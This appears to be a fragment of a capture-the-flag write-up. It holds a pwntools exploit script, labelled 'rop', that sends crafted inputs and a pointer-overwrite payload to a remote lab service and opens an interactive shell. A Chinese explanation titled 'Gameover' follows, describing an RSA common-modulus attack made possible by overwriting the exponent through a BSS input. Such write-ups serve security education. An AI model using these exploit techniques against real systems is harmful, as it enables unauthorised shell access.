# rop io=remote("172.1.13.17",8888) ru("heart;)\n") sl("0 1808823121") ru("who am I?\n") print io.recv() sl("0 840963568") ru("who am I?\n") print io.recv() sl("0 1684516447") ru("who am I?\n") print io.recv() sl(p64(0x602140)*35) print io.recv()
#debug('b *0x0000000000400766') io.interactive()
Gameover
先读取随机数,然后转换成了16进制字符串,之后列出菜单 输入选项,1是查看密文,7是最后一步验证,其他的字符都是进行一步输入,绕过最后一步验证之后就可以拿到shell,最后一个验证比较开始读取的随机数和最后一次输入是否相同 中间加密过程进行了一些大数运算,关键运算在于BN_mod_exp,表示(v13**v12) mod v11,其中v11是中间一串大数,尝试分解发现很难分解,猜测是大素数之积,v13是我们需要知道的随机数也就是明文,整个加密的过程就是rsa,这里发现,因为同在bss段上,可以利用菜单2的输入覆盖掉v12的值,也就是构造相同m、相同n、不同e生成的两条密文,存在共模攻击,可以直接算出明文也就是最后需要的输入
Comments